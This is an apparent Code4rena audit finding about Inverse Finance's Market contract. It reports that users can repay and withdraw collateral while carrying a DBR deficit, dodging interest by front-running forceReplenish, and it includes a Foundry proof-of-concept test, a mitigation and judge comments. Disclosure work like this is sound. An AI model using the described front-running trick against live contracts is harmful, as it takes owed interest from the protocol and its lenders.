User can pay its debt and withdraw its collateral without paying the interest rate.

[code423n4]

Lines of code

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L531

Vulnerability details

Impact

An user can repay all of his debt, and withdraw all his collateral calling the repayAndWithdraw function with uint withdrawAmount equal as debts[user] as input parameter, even if it has a deficit of DBR tokens.

Proof of Concept

There is not a requirement of not having a deficit of DBR tokens to be able to withdraw your collateral. It is true that a user that incurs in a deficit have the risk of someone calling forceReplenish on him, but if the user can front-run it, then the user will not need to pay for his DBR deficit.

To test this, i wrote the next test:

function testRepayAndWithdrawWitoutPayingDeficit() public {
        uint newWethTestAmount = 5 ether;
        gibWeth(user, newWethTestAmount);
        
        vm.startPrank(user);

        // Userr deposits 5 ether as collateral
        deposit(newWethTestAmount);

        assertEq(WETH.balanceOf(address(market.escrows(user))), newWethTestAmount, "failed to deposit WETH");
        assertEq(WETH.balanceOf(user), 0, "failed to deposit WETH");

        // The userr has no deficit
        assertEq(dbr.deficitOf(user), 0, "Incorrect Deficit");

        // He borrows 10 DOLA
        market.borrow(10 ether);

        // 1 year into the future
        vm.warp(block.timestamp + 365 days);
        
        // The user has a deficit of 10 DBR
        assertEq(dbr.deficitOf(user), 10 ether, "Incorrect Deficit");

        // But he is able to repay all the debt and withdraw all the collateral when having a DBR deficit.
        market.repayAndWithdraw(10 ether, newWethTestAmount);
        
        assertEq(WETH.balanceOf(address(market.escrows(user))), 0, "failed to withdraw WETH");
        assertEq(WETH.balanceOf(user), newWethTestAmount, "failed to withdraw WETH");
    }

Tools Used

Manual review

Recommended Mitigation Steps

Don't allow to withdraw the collateral if the user has a deficit of DBR tokens.

[c4-judge]

0xean marked the issue as duplicate

[Simon-Busch]

Issue marked as satisfactory as requested by 0xean

[c4-judge]

Simon-Busch marked the issue as duplicate of #583